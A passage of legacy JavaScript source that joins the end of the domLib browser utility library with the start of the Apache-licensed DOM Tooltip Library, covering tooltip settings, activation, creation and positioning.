originalWidth/2,\r\n        'topCenter',\toffsetTop + originalHeight/2,\r\n        'radius',\tMath.max(originalWidth, originalHeight)\r\n    );\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_setTimeout()\r\n\r\nfunction domLib_setTimeout(in_function, in_timeout, in_args)\r\n{\r\n    if (typeof(in_args) == 'undefined')\r\n    {\r\n        in_args = [];\r\n    }\r\n\r\n    if (in_timeout == -1)\r\n    {\r\n        // timeout event is disabled\r\n        return 0;\r\n    }\r\n    else if (in_timeout == 0)\r\n    {\r\n        in_function(in_args);\r\n        return 0;\r\n    }\r\n\r\n    // must make a copy of the arguments so that we release the reference\r\n    var args = domLib_clone(in_args);\r\n\r\n    if (!domLib_hasBrokenTimeout)\r\n    {\r\n        return setTimeout(function() { in_function(args); }, in_timeout);\r\n    }\r\n    else\r\n    {\r\n        var id = domLib_timeoutStateId++;\r\n        var data = new Hash();\r\n        data.set('function', in_function);\r\n        data.set('args', args);\r\n        domLib_timeoutStates.set(id, data);\r\n\r\n        data.set('timeoutId', setTimeout('domLib_timeoutStates.get(' + id + ').get(\\'function\\')(domLib_timeoutStates.get(' + id + ').get(\\'args\\')); domLib_timeoutStates.remove(' + id + ');', in_timeout));\r\n        return id;\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_clearTimeout()\r\n\r\nfunction domLib_clearTimeout(in_id)\r\n{\r\n    if (!domLib_hasBrokenTimeout)\r\n    {\r\n        if (in_id > 0) {\r\n            clearTimeout(in_id);\r\n        }\r\n    }\r\n    else\r\n    {\r\n        if (domLib_timeoutStates.has(in_id))\r\n        {\r\n            clearTimeout(domLib_timeoutStates.get(in_id).get('timeoutId'))\r\n            domLib_timeoutStates.remove(in_id);\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getEventPosition()\r\n\r\nfunction domLib_getEventPosition(in_eventObj)\r\n{\r\n    var eventPosition = new Hash('x', 0, 'y', 0, 'scrollX', 0, 'scrollY', 0);\r\n\r\n    // IE varies depending on standard compliance mode\r\n    if (domLib_isIE)\r\n    {\r\n        var doc = (domLib_standardsMode ? document.documentElement : document.body);\r\n        // NOTE: events may fire before the body has been loaded\r\n        if (doc)\r\n        {\r\n            eventPosition.set('x', in_eventObj.clientX + doc.scrollLeft);\r\n            eventPosition.set('y', in_eventObj.clientY + doc.scrollTop);\r\n            eventPosition.set('scrollX', doc.scrollLeft);\r\n            eventPosition.set('scrollY', doc.scrollTop);\r\n        }\r\n    }\r\n    else\r\n    {\r\n        eventPosition.set('x', in_eventObj.pageX);\r\n        eventPosition.set('y', in_eventObj.pageY);\r\n        eventPosition.set('scrollX', in_eventObj.pageX - in_eventObj.clientX);\r\n        eventPosition.set('scrollY', in_eventObj.pageY - in_eventObj.clientY);\r\n    }\r\n\r\n    return eventPosition;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_cancelBubble()\r\n\r\nfunction domLib_cancelBubble(in_event)\r\n{\r\n    var eventObj = in_event ? in_event : window.event;\r\n    eventObj.cancelBubble = true;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getIFrameReference()\r\n\r\nfunction domLib_getIFrameReference(in_frame)\r\n{\r\n    if (domLib_isGecko || domLib_isIE)\r\n    {\r\n        return in_frame.frameElement;\r\n    }\r\n    else\r\n    {\r\n        // we could either do it this way or require an id on the frame\r\n        // equivalent to the name\r\n        var name = in_frame.name;\r\n        if (!name || !in_frame.parent)\r\n        {\r\n            return null;\r\n        }\r\n\r\n        var candidates = in_frame.parent.document.getElementsByTagName('iframe');\r\n        for (var i = 0; i < candidates.length; i++)\r\n        {\r\n            if (candidates[i].name == name)\r\n            {\r\n                return candidates[i];\r\n            }\r\n        }\r\n\r\n        return null;\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getElementsByClass()\r\n\r\nfunction domLib_getElementsByClass(in_class)\r\n{\r\n    var elements = domLib_isIE5 ? document.all : document.getElementsByTagName('*');\r\n    var matches = [];\r\n    var cnt = 0;\r\n    for (var i = 0; i < elements.length; i++)\r\n    {\r\n        if ((\" \" + elements[i].className + \" \").indexOf(\" \" + in_class + \" \") != -1)\r\n        {\r\n            matches[cnt++] = elements[i];\r\n        }\r\n    }\r\n\r\n    return matches;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getElementsByTagNames()\r\n\r\nfunction domLib_getElementsByTagNames(in_list, in_excludeHidden)\r\n{\r\n    var elements = [];\r\n    for (var i = 0; i < in_list.length; i++)\r\n    {\r\n        var matches = document.getElementsByTagName(in_list[i]);\r\n        for (var j = 0; j < matches.length; j++)\r\n        {\r\n            // skip objects that have nested embeds, or else we get \"flashing\"\r\n            if (matches[j].tagName == 'OBJECT' && domLib_isGecko)\r\n            {\r\n                var kids = matches[j].childNodes;\r\n                var skip = false;\r\n                for (var k = 0; k < kids.length; k++)\r\n                {\r\n                    if (kids[k].tagName == 'EMBED')\r\n                    {\r\n                        skip = true;\r\n                        break;\r\n                    }\r\n                }\r\n                if (skip) continue;\r\n            }\r\n\r\n            if (in_excludeHidden && domLib_getComputedStyle(matches[j], 'visibility') == 'hidden')\r\n            {\r\n                continue;\r\n            }\r\n\r\n            elements[elements.length] = matches[j];\r\n        }\r\n    }\r\n\r\n    return elements;\r\n}\r\n\r\n// }}}\r\n// {{{ domLib_getComputedStyle()\r\n\r\nfunction domLib_getComputedStyle(in_obj, in_property)\r\n{\r\n    if (domLib_isIE)\r\n    {\r\n        var humpBackProp = in_property.replace(/-(.)/, function (a, b) { return b.toUpperCase(); });\r\n        return eval('in_obj.currentStyle.' + humpBackProp);\r\n    }\r\n    // getComputedStyle() is broken in konqueror, so let's go for the style object\r\n    else if (domLib_isKonq)\r\n    {\r\n        //var humpBackProp = in_property.replace(/-(.)/, function (a, b) { return b.toUpperCase(); });\r\n        return eval('in_obj.style.' + in_property);\r\n    }\r\n    else\r\n    {\r\n        return document.defaultView.getComputedStyle(in_obj, null).getPropertyValue(in_property);\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ makeTrue()\r\n\r\nfunction makeTrue()\r\n{\r\n    return true;\r\n}\r\n\r\n// }}}\r\n// {{{ makeFalse()\r\n\r\nfunction makeFalse()\r\n{\r\n    return false;\r\n}\r\n\r\n// }}}\r\n\r\n/** $Id: domTT.js 2324 2006-06-12 07:06:39Z dallen $ */\r\n// {{{ license\r\n\r\n/*\r\n * Copyright 2002-2005 Dan Allen, Mojavelinux.com (dan.allen@mojavelinux.com)\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n *      http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\n\r\n// }}}\r\n// {{{ intro\r\n\r\n/**\r\n * Title: DOM Tooltip Library\r\n * Version: 0.7.3\r\n *\r\n * Summary:\r\n * Allows developers to add custom tooltips to the webpages.  Tooltips are\r\n * generated using the domTT_activate() function and customized by setting\r\n * a handful of options.\r\n *\r\n * Maintainer: Dan Allen <dan.allen@mojavelinux.com>\r\n * Contributors:\r\n * \t\tJosh Gross <josh@jportalhome.com>\r\n *\t\tJason Rust <jason@rustyparts.com>\r\n *\r\n * License: Apache 2.0\r\n * However, if you use this library, you earn the position of official bug\r\n * reporter :) Please post questions or problem reports to the newsgroup:\r\n *\r\n *   http://groups-beta.google.com/group/dom-tooltip\r\n *\r\n * If you are doing this for commercial work, perhaps you could send me a few\r\n * Starbucks Coffee gift dollars or PayPal bucks to encourage future\r\n * developement (NOT REQUIRED).  E-mail me for my snail mail address.\r\n\r\n *\r\n * Homepage: http://www.mojavelinux.com/projects/domtooltip/\r\n *\r\n * Newsgroup: http://groups-beta.google.com/group/dom-tooltip\r\n *\r\n * Freshmeat Project: http://freshmeat.net/projects/domtt/?topic_id=92\r\n *\r\n * Updated: 2005/07/16\r\n *\r\n * Supported Browsers:\r\n * Mozilla (Gecko), IE 5.5+, IE on Mac, Safari, Konqueror, Opera 7\r\n *\r\n * Usage:\r\n * Please see the HOWTO documentation.\r\n**/\r\n\r\n// }}}\r\n// {{{ settings (editable)\r\n\r\n// IE mouse events seem to be off by 2 pixels\r\nvar domTT_offsetX = (domLib_isIE ? -2 : 0);\r\nvar domTT_offsetY = (domLib_isIE ? 4 : 2);\r\nvar domTT_direction = 'southeast';\r\nvar domTT_mouseHeight = domLib_isIE ? 13 : 19;\r\nvar domTT_closeLink = 'X';\r\nvar domTT_closeAction = 'hide';\r\nvar domTT_activateDelay = 500;\r\nvar domTT_maxWidth = false;\r\nvar domTT_styleClass = 'domTT';\r\nvar domTT_fade = 'neither';\r\nvar domTT_lifetime = 0;\r\nvar domTT_grid = 0;\r\nvar domTT_trailDelay = 200;\r\nvar domTT_useGlobalMousePosition = true;\r\nvar domTT_postponeActivation = false;\r\nvar domTT_tooltipIdPrefix = '[domTT]';\r\nvar domTT_screenEdgeDetection = true;\r\nvar domTT_screenEdgePadding = 4;\r\nvar domTT_oneOnly = true;\r\nvar domTT_cloneNodes = false;\r\nvar domTT_detectCollisions = true;\r\nvar domTT_bannedTags = ['OPTION'];\r\nvar domTT_draggable = false;\r\nif (typeof(domTT_dragEnabled) == 'undefined')\r\n{\r\n    domTT_dragEnabled = false;\r\n}\r\n\r\n// }}}\r\n// {{{ globals (DO NOT EDIT)\r\n\r\nvar domTT_predefined = new Hash();\r\n// tooltips are keyed on both the tip id and the owner id,\r\n// since events can originate on either object\r\nvar domTT_tooltips = new Hash();\r\nvar domTT_lastOpened = 0;\r\nvar domTT_documentLoaded = false;\r\nvar domTT_mousePosition = null;\r\n\r\n// }}}\r\n// {{{ document.onmousemove\r\n\r\nif (domLib_useLibrary && domTT_useGlobalMousePosition)\r\n{\r\n    document.onmousemove = function(in_event)\r\n    {\r\n        if (typeof(in_event) == 'undefined') { in_event = window.event; }\r\n\r\n        domTT_mousePosition = domLib_getEventPosition(in_event);\r\n        if (domTT_dragEnabled && domTT_dragMouseDown)\r\n        {\r\n            domTT_dragUpdate(in_event);\r\n        }\r\n    }\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_activate()\r\n\r\nfunction domTT_activate(in_this, in_event)\r\n{\r\n    if (!domLib_useLibrary || (domTT_postponeActivation && !domTT_documentLoaded)) { return false; }\r\n\r\n    // make sure in_event is set (for IE, some cases we have to use window.event)\r\n    if (typeof(in_event) == 'undefined') { in_event = window.event;\t}\r\n\r\n    // don't allow tooltips on banned tags (such as OPTION)\r\n    if (in_event != null) {\r\n        var target = in_event.srcElement ? in_event.srcElement : in_event.target;\r\n        if (target != null && (',' + domTT_bannedTags.join(',') + ',').indexOf(',' + target.tagName + ',') != -1)\r\n        {\r\n            return false;\r\n        }\r\n    }\r\n\r\n    var owner = document.body;\r\n    // we have an active event so get the owner\r\n    if (in_event != null && in_event.type.match(/key|mouse|click|contextmenu/i))\r\n    {\r\n        // make sure we have nothing higher than the body element\r\n        if (in_this.nodeType && in_this.nodeType != document.DOCUMENT_NODE)\r\n        {\r\n            owner = in_this;\r\n        }\r\n    }\r\n    // non active event (make sure we were passed a string id)\r\n    else\r\n    {\r\n        if (typeof(in_this) != 'object' && !(owner = domTT_tooltips.get(in_this)))\r\n        {\r\n            // NOTE: two steps to avoid \"flashing\" in gecko\r\n            var embryo = document.createElement('div');\r\n            owner = document.body.appendChild(embryo);\r\n            owner.style.display = 'none';\r\n            owner.id = in_this;\r\n        }\r\n    }\r\n\r\n    // make sure the owner has a unique id\r\n    if (!owner.id)\r\n    {\r\n        owner.id = '__autoId' + domLib_autoId++;\r\n    }\r\n\r\n    // see if we should only be opening one tip at a time\r\n    // NOTE: this is not \"perfect\" yet since it really steps on any other\r\n    // tip working on fade out or delayed close, but it get's the job done\r\n    if (domTT_oneOnly && domTT_lastOpened)\r\n    {\r\n        domTT_deactivate(domTT_lastOpened);\r\n    }\r\n\r\n    domTT_lastOpened = owner.id;\r\n\r\n    var tooltip = domTT_tooltips.get(owner.id);\r\n    if (tooltip)\r\n    {\r\n        if (tooltip.get('eventType') != in_event.type)\r\n        {\r\n            if (tooltip.get('type') == 'greasy')\r\n            {\r\n                tooltip.set('closeAction', 'destroy');\r\n                domTT_deactivate(owner.id);\r\n            }\r\n            else if (tooltip.get('status') != 'inactive')\r\n            {\r\n                return owner.id;\r\n            }\r\n        }\r\n        else\r\n        {\r\n            if (tooltip.get('status') == 'inactive')\r\n            {\r\n                tooltip.set('status', 'pending');\r\n                tooltip.set('activateTimeout', domLib_setTimeout(domTT_runShow, tooltip.get('delay'), [owner.id, in_event]));\r\n\r\n                return owner.id;\r\n            }\r\n            // either pending or active, let it be\r\n            else\r\n            {\r\n                return owner.id;\r\n            }\r\n        }\r\n    }\r\n\r\n    // setup the default options hash\r\n    var options = new Hash(\r\n        'caption',\t\t'',\r\n        'content',\t\t'',\r\n        'clearMouse',\ttrue,\r\n        'closeAction',\tdomTT_closeAction,\r\n        'closeLink',\tdomTT_closeLink,\r\n        'delay',\t\tdomTT_activateDelay,\r\n        'direction',\tdomTT_direction,\r\n        'draggable',\tdomTT_draggable,\r\n        'fade',\t\t\tdomTT_fade,\r\n        'fadeMax',\t\t100,\r\n        'grid',\t\t\tdomTT_grid,\r\n        'id',\t\t\tdomTT_tooltipIdPrefix + owner.id,\r\n        'inframe',\t\tfalse,\r\n        'lifetime',\t\tdomTT_lifetime,\r\n        'offsetX',\t\tdomTT_offsetX,\r\n        'offsetY',\t\tdomTT_offsetY,\r\n        'parent',\t\tdocument.body,\r\n        'position',\t\t'absolute',\r\n        'styleClass',\tdomTT_styleClass,\r\n        'type',\t\t\t'greasy',\r\n        'trail',\t\tfalse,\r\n        'lazy',\t\t\tfalse\r\n    );\r\n\r\n    // load in the options from the function call\r\n    for (var i = 2; i < arguments.length; i += 2)\r\n    {\r\n        // load in predefined\r\n        if (arguments[i] == 'predefined')\r\n        {\r\n            var predefinedOptions = domTT_predefined.get(arguments[i + 1]);\r\n            for (var j in predefinedOptions.elementData)\r\n            {\r\n                options.set(j, predefinedOptions.get(j));\r\n            }\r\n        }\r\n        // set option\r\n        else\r\n        {\r\n            options.set(arguments[i], arguments[i + 1]);\r\n        }\r\n    }\r\n\r\n    options.set('eventType', in_event != null ? in_event.type : null);\r\n\r\n    // immediately set the status text if provided\r\n    if (options.has('statusText'))\r\n    {\r\n        try { window.status = options.get('statusText'); } catch(e) {}\r\n    }\r\n\r\n    // if we didn't give content...assume we just wanted to change the status and return\r\n    if (!options.has('content') || options.get('content') == '' || options.get('content') == null)\r\n    {\r\n        if (typeof(owner.onmouseout) != 'function')\r\n        {\r\n            owner.onmouseout = function(in_event) { domTT_mouseout(this, in_event); };\r\n        }\r\n\r\n        return owner.id;\r\n    }\r\n\r\n    options.set('owner', owner);\r\n\r\n    domTT_create(options);\r\n\r\n    // determine the show delay\r\n    options.set('delay', (in_event != null && in_event.type.match(/click|mousedown|contextmenu/i)) ? 0 : parseInt(options.get('delay')));\r\n    domTT_tooltips.set(owner.id, options);\r\n    domTT_tooltips.set(options.get('id'), options);\r\n    options.set('status', 'pending');\r\n    options.set('activateTimeout', domLib_setTimeout(domTT_runShow, options.get('delay'), [owner.id, in_event]));\r\n\r\n    return owner.id;\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_create()\r\n\r\nfunction domTT_create(in_options)\r\n{\r\n    var tipOwner = in_options.get('owner');\r\n    var parentObj = in_options.get('parent');\r\n    var parentDoc = parentObj.ownerDocument || parentObj.document;\r\n\r\n    // create the tooltip and hide it\r\n    // NOTE: two steps to avoid \"flashing\" in gecko\r\n    var embryo = parentDoc.createElement('div');\r\n    var tipObj = parentObj.appendChild(embryo);\r\n    tipObj.style.position = 'absolute';\r\n    tipObj.style.left = '0px';\r\n    tipObj.style.top = '0px';\r\n    tipObj.style.visibility = 'hidden';\r\n    tipObj.id = in_options.get('id');\r\n    tipObj.className = in_options.get('styleClass');\r\n\r\n    var contentBlock;\r\n    var tableLayout = false;\r\n\r\n    if (in_options.get('caption') || (in_options.get('type') == 'sticky' && in_options.get('caption') !== false))\r\n    {\r\n        tableLayout = true;\r\n        // layout the tip with a hidden formatting table\r\n        var tipLayoutTable = tipObj.appendChild(parentDoc.createElement('table'));\r\n        tipLayoutTable.style.borderCollapse = 'collapse';\r\n        if (domLib_isKHTML)\r\n        {\r\n            tipLayoutTable.cellSpacing = 0;\r\n        }\r\n\r\n        var tipLayoutTbody = tipLayoutTable.appendChild(parentDoc.createElement('tbody'));\r\n\r\n        var numCaptionCells = 0;\r\n        var captionRow = tipLayoutTbody.appendChild(parentDoc.createElement('tr'));\r\n        var captionCell = captionRow.appendChild(parentDoc.createElement('td'));\r\n        captionCell.style.padding = '0px';\r\n        var caption = captionCell.appendChild(parentDoc.createElement('div'));\r\n        caption.className = 'caption';\r\n        if (domLib_isIE50)\r\n        {\r\n            caption.style.height = '100%';\r\n        }\r\n\r\n        if (in_options.get('caption').nodeType)\r\n        {\r\n            caption.appendChild(domTT_cloneNodes ? in_options.get('caption').cloneNode(1) : in_options.get('caption'));\r\n        }\r\n        else\r\n        {\r\n            caption.innerHTML = in_options.get('caption');\r\n        }\r\n\r\n        if (in_options.get('type') == 'sticky')\r\n        {\r\n            var numCaptionCells = 2;\r\n            var closeLinkCell = captionRow.appendChild(parentDoc.createElement('td'));\r\n            closeLinkCell.style.padding = '0px';\r\n            var closeLink = closeLinkCell.appendChild(parentDoc.createElement('div'));\r\n            closeLink.className = 'caption';\r\n            if (domLib_isIE50)\r\n            {\r\n                closeLink.style.height = '100%';\r\n            }\r\n\r\n            closeLink.style.textAlign = 'right';\r\n            closeLink.style.cursor = domLib_stylePointer;\r\n            // merge the styles of the two cells\r\n            closeLink.style.borderLeftWidth = caption.style.borderRightWidth = '0px';\r\n            closeLink.style.paddingLeft = caption.style.paddingRight = '0px';\r\n            closeLink.style.marginLeft = caption.style.marginRight = '0px';\r\n            if (in_options.get('closeLink').nodeType)\r\n            {\r\n                closeLink.appendChild(in_options.get('closeLink').cloneNode(1));\r\n            }\r\n            else\r\n            {\r\n                closeLink.innerHTML = in_options.get('closeLink');\r\n            }\r\n\r\n            closeLink.onclick = function()\r\n            {\r\n                domTT_deactivate(tipOwner.id);\r\n            };\r\n            closeLink.onmousedown = function(in_event)\r\n            {\r\n                if (typeof(in_event) == 'undefined') { in_event = window.event; }\r\n                in_event.cancelBubble = true;\r\n            };\r\n            // MacIE has to have a newline at the end and must be made with createTextNode()\r\n            if (domLib_isMacIE)\r\n            {\r\n                closeLinkCell.appendChild(parentDoc.createTextNode(\"\\n\"));\r\n            }\r\n        }\r\n\r\n        // MacIE has to have a newline at the end and must be made with createTextNode()\r\n        if (domLib_isMacIE)\r\n        {\r\n            captionCell.appendChild(parentDoc.createTextNode(\"\\n\"));\r\n        }\r\n\r\n        var contentRow = tipLayoutTbody.appendChild(parentDoc.createElement('tr'));\r\n        var contentCell = contentRow.appendChild(parentDoc.createElement('td'));\r\n        contentCell.style.padding = '0px';\r\n        if (numCaptionCells)\r\n        {\r\n            if (domLib_isIE || domLib_isOpera)\r\n            {\r\n                contentCell.colSpan = numCaptionCells;\r\n            }\r\n            else\r\n            {\r\n                contentCell.setAttribute('colspan', numCaptionCells);\r\n            }\r\n        }\r\n\r\n        contentBlock = contentCell.appendChild(parentDoc.createElement('div'));\r\n        if (domLib_isIE50)\r\n        {\r\n            contentBlock.style.height = '100%';\r\n        }\r\n    }\r\n    else\r\n    {\r\n        contentBlock = tipObj.appendChild(parentDoc.createElement('div'));\r\n    }\r\n\r\n    contentBlock.className = 'contents';\r\n\r\n    var content = in_options.get('content');\r\n    // allow content has a function to return the actual content\r\n    if (typeof(content) == 'function') {\r\n        content = content(in_options.get('id'));\r\n    }\r\n\r\n    if (content != null && content.nodeType)\r\n    {\r\n        contentBlock.appendChild(domTT_cloneNodes ? content.cloneNode(1) : content);\r\n    }\r\n    else\r\n    {\r\n        contentBlock.innerHTML = content;\r\n    }\r\n\r\n    // adjust the width if specified\r\n    if (in_options.has('width'))\r\n    {\r\n        tipObj.style.width = parseInt(in_options.get('width')) + 'px';\r\n    }\r\n\r\n    // check if we are overridding the maxWidth\r\n    // if the browser supports maxWidth, the global setting will be ignored (assume stylesheet)\r\n    var maxWidth = domTT_maxWidth;\r\n    if (in_options.has('maxWidth'))\r\n    {\r\n        if ((maxWidth = in_options.get('maxWidth')) === false)\r\n        {\r\n            tipObj.style.maxWidth = domLib_styleNoMaxWidth;\r\n        }\r\n        else\r\n        {\r\n            maxWidth = parseInt(in_options.get('maxWidth'));\r\n            tipObj.style.maxWidth = maxWidth + 'px';\r\n        }\r\n    }\r\n\r\n    // HACK: fix lack of maxWidth in CSS for KHTML and IE\r\n    if (maxWidth !== false && (domLib_isIE || domLib_isKHTML) && tipObj.offsetWidth > maxWidth)\r\n    {\r\n        tipObj.style.width = maxWidth + 'px';\r\n    }\r\n\r\n    in_options.set('offsetWidth', tipObj.offsetWidth);\r\n    in_options.set('offsetHeight', tipObj.offsetHeight);\r\n\r\n    // konqueror miscalcuates the width of the containing div when using the layout table based on the\r\n    // border size of the containing div\r\n    if (domLib_isKonq && tableLayout && !tipObj.style.width)\r\n    {\r\n        var left = document.defaultView.getComputedStyle(tipObj, '').getPropertyValue('border-left-width');\r\n        var right = document.defaultView.getComputedStyle(tipObj, '').getPropertyValue('border-right-width');\r\n\r\n        left = left.substring(left.indexOf(':') + 2, left.indexOf(';'));\r\n        right = right.substring(right.indexOf(':') + 2, right.indexOf(';'));\r\n        var correction = 2 * ((left ? parseInt(left) : 0) + (right ? parseInt(right) : 0));\r\n        tipObj.style.width = (tipObj.offsetWidth - correction) + 'px';\r\n    }\r\n\r\n    // if a width is not set on an absolutely positioned object, both IE and Opera\r\n    // will attempt to wrap when it spills outside of body...we cannot have that\r\n    if (domLib_isIE || domLib_isOpera)\r\n    {\r\n        if (!tipObj.style.width)\r\n        {\r\n            // HACK: the correction here is for a border\r\n            tipObj.style.width = (tipObj.offsetWidth - 2) + 'px';\r\n        }\r\n\r\n        // HACK: the correction here is for a border\r\n        tipObj.style.height = (tipObj.offsetHeight - 2) + 'px';\r\n    }\r\n\r\n    // store placement offsets from event position\r\n    var offsetX, offsetY;\r\n\r\n    // tooltip floats\r\n    if (in_options.get('position') == 'absolute' && !(in_options.has('x') && in_options.has('y')))\r\n    {\r\n        // determine the offset relative to the pointer\r\n        switch (in_options.get('direction'))\r\n        {\r\n            case 'northeast':\r\n                offsetX = in_options.get('offsetX');\r\n                offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY');\r\n                break;\r\n            case 'northwest':\r\n                offsetX = 0 - tipObj.offsetWidth - in_options.get('offsetX');\r\n                offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY');\r\n                break;\r\n            case 'north':\r\n                offsetX = 0 - parseInt(tipObj.offsetWidth/2);\r\n                offsetY = 0 - tipObj.offsetHeight - in_options.get('offsetY');\r\n                break;\r\n            case 'southwest':\r\n                offsetX = 0 - tipObj.offsetWidth - in_options.get('offsetX');\r\n                offsetY = in_options.get('offsetY');\r\n                break;\r\n            case 'southeast':\r\n                offsetX = in_options.get('offsetX');\r\n                offsetY = in_options.get('offsetY');\r\n                break;\r\n            case 'south':\r\n                offsetX = 0 - parseInt(tipObj.offsetWidth/2);\r\n                offsetY = in_options.get('offsetY');\r\n                break;\r\n        }\r\n\r\n        // if we are in an iframe, get the offsets of the iframe in the parent document\r\n        if (in_options.get('inframe'))\r\n        {\r\n            var iframeObj = domLib_getIFrameReference(window);\r\n            if (iframeObj)\r\n            {\r\n                var frameOffsets = domLib_getOffsets(iframeObj);\r\n                offsetX += frameOffsets.get('left');\r\n                offsetY += frameOffsets.get('top');\r\n            }\r\n        }\r\n    }\r\n    // tooltip is fixed\r\n    else\r\n    {\r\n        offsetX = 0;\r\n        offsetY = 0;\r\n        in_options.set('trail', false);\r\n    }\r\n\r\n    // set the direction-specific offsetX/Y\r\n    in_options.set('offsetX', offsetX);\r\n    in_options.set('offsetY', offsetY);\r\n    if (in_options.get('clearMouse') && in_options.get('direction').indexOf('south') != -1)\r\n    {\r\n        in_options.set('mouseOffset', domTT_mouseHeight);\r\n    }\r\n    else\r\n    {\r\n        in_options.set('mouseOffset', 0);\r\n    }\r\n\r\n    if (domLib_canFade && typeof(Fadomatic) == 'function')\r\n    {\r\n        if (in_options.get('fade') != 'neither')\r\n        {\r\n            var fadeHandler = new Fadomatic(tipObj, 10, 0, 0, in_options.get('fadeMax'));\r\n            in_options.set('fadeHandler', fadeHandler);\r\n        }\r\n    }\r\n    else\r\n    {\r\n        in_options.set('fade', 'neither');\r\n    }\r\n\r\n    // setup mouse events\r\n    if (in_options.get('trail') && typeof(tipOwner.onmousemove) != 'function')\r\n    {\r\n        tipOwner.onmousemove = function(in_event) { domTT_mousemove(this, in_event); };\r\n    }\r\n\r\n    if (typeof(tipOwner.onmouseout) != 'function')\r\n    {\r\n        tipOwner.onmouseout = function(in_event) { domTT_mouseout(this, in_event); };\r\n    }\r\n\r\n    if (in_options.get('type') == 'sticky')\r\n    {\r\n        if (in_options.get('position') == 'absolute' && domTT_dragEnabled && in_options.get('draggable'))\r\n        {\r\n            if (domLib_isIE)\r\n            {\r\n                captionRow.onselectstart = function() { return false; };\r\n            }\r\n\r\n            // setup drag\r\n            captionRow.onmousedown = function(in_event) { domTT_dragStart(tipObj, in_event);  };\r\n            captionRow.onmousemove = function(in_event) { domTT_dragUpdate(in_event); };\r\n            captionRow.onmouseup = function() { domTT_dragStop(); };\r\n        }\r\n    }\r\n    else if (in_options.get('type') == 'velcro')\r\n    {\r\n        /* can use once we have deactivateDelay\r\n\t\ttipObj.onmouseover = function(in_event)\r\n\t\t{\r\n\t\t\tif (typeof(in_event) == 'undefined') { in_event = window.event; }\r\n\t\t\tvar tooltip = domTT_tooltips.get(tipObj.id);\r\n\t\t\tif (in_options.get('lifetime')) {\r\n\t\t\t\tdomLib_clearTimeout(in_options.get('lifetimeTimeout');\r\n\t\t\t}\r\n\t\t};\r\n\t\t*/\r\n        tipObj.onmouseout = function(in_event)\r\n        {\r\n            if (typeof(in_event) == 'undefined') { in_event = window.event; }\r\n            if (!domLib_isDescendantOf(in_event[domLib_eventTo], tipObj, domTT_bannedTags)) {\r\n                domTT_deactivate(tipOwner.id);\r\n            }\r\n        };\r\n        // NOTE: this might interfere with links in the tip\r\n        tipObj.ondblclick = function(in_event)\r\n        {\r\n            domTT_deactivate(tipOwner.id);\r\n        };\r\n    }\r\n\r\n    if (in_options.get('position') == 'relative')\r\n    {\r\n        tipObj.style.position = 'relative';\r\n    }\r\n\r\n    in_options.set('node', tipObj);\r\n    in_options.set('status', 'inactive');\r\n}\r\n\r\n// }}}\r\n// {{{ domTT_show()\r\n\r\n// in_id is either tip id or the owner id\r\nfunction domTT_show(in_id, in_event)\r\n{\r\n\r\n    // should always find one since this call would be cancelled if tip was killed\r\n    var tooltip = domTT_tooltips.get(in_id);\r\n    var status = tooltip.get('status');\r\n    var tipObj = tooltip.get('node');\r\n\r\n    if (tooltip.get('position') == 'absolute')\r\n    {\r\n        var mouseX, mouseY;\r\n\r\n        if (tooltip.has('x') && tooltip.has('y'))\r\n        {\r\n            mouseX = tooltip.get('x');\r\n            mouseY = tooltip.get('y');\r\n        }\r\n        else if (!domTT_useGlobalMousePosition || domTT_mousePosition == null || status == 'active' || tooltip.get('delay') == 0)\r\n        {\r\n            var eventPosition = domLib_getEventPosition(in_event);\r\n            var eventX = eventPosition.get('x');\r\n            var eventY = eventPosition.get('y');\r\n            if (tooltip.get('inframe'))\r\n            {\r\n                eventX -= eventPosition.get('scrollX');\r\n                eventY -= eventPosition.get('scrollY');\r\n            }\r\n\r\n            // only move tip along requested trail axis when updating position\r\n            if (status == 'active' && tooltip.get('trail') !== true)\r\n            {\r\n                var trail = tooltip.get('trail');\r\n                if (trail == 'x')\r\n                {\r\n                    mouseX = eventX;\r\n                    mouseY = tooltip.get('mouseY');\r\n                }\r\n                else if (trail == 'y')\r\n                {\r\n                    mouseX = tooltip.get('mouseX');\r\n                    mouseY = eventY;\r\n                }\r\n            }\r\n            else\r\n            {\r\n                mouseX = eventX;\r\n                mouseY = eventY;\r\n            }\r\n        }\r\n        else\r\n        {\r\n            mouseX = domTT_mousePosition.get('x');\r\n            mouseY = domTT_mousePosition.get('y');\r\n            if (tooltip.get('inframe'))\r\n            {\r\n                mouseX -= domTT_mousePosition.get('scrollX');\r\n                mouseY -= domTT_mousePosition.get('scrollY');\r\n            }\r\n        }\r\n\r\n        // we are using a grid for updates\r\n        if (tooltip.get('grid'))\r\n        {\r\n            // if this is not a mousemove event or it is a mousemove event on an active tip and\r\n            // the movement is bigger than the grid\r\n            if (in_event.type != 'mousemove' || (status == 'active' && (Math.abs(tooltip.get('lastX') - mouseX) > tooltip.get('grid') || Math.abs(tooltip.get('lastY') - mouseY) > tooltip.get('grid'))))\r\n            {\r\n                tooltip.set('lastX', mouseX);\r\n                tooltip.set('lastY', mouseY);\r\n            }\r\n            // did not satisfy the grid movement requirement\r\n            else\r\n            {\r\n                return false;\r\n            }\r\n        }\r\n\r\n        // mouseX and mouseY store the last acknowleged mouse position,\r\n        // good for trailing on one axis\r\n        tooltip.set('mouseX', mouseX);\r\n        tooltip.set('mouseY', mouseY);\r\n\r\n        var coordinates;\r\n        if (domTT_screenEdgeDetection)\r\n        {\r\n            coordinates = domTT_correctEdgeBleed(\r\n                tooltip.get('offsetWidth'),\r\n                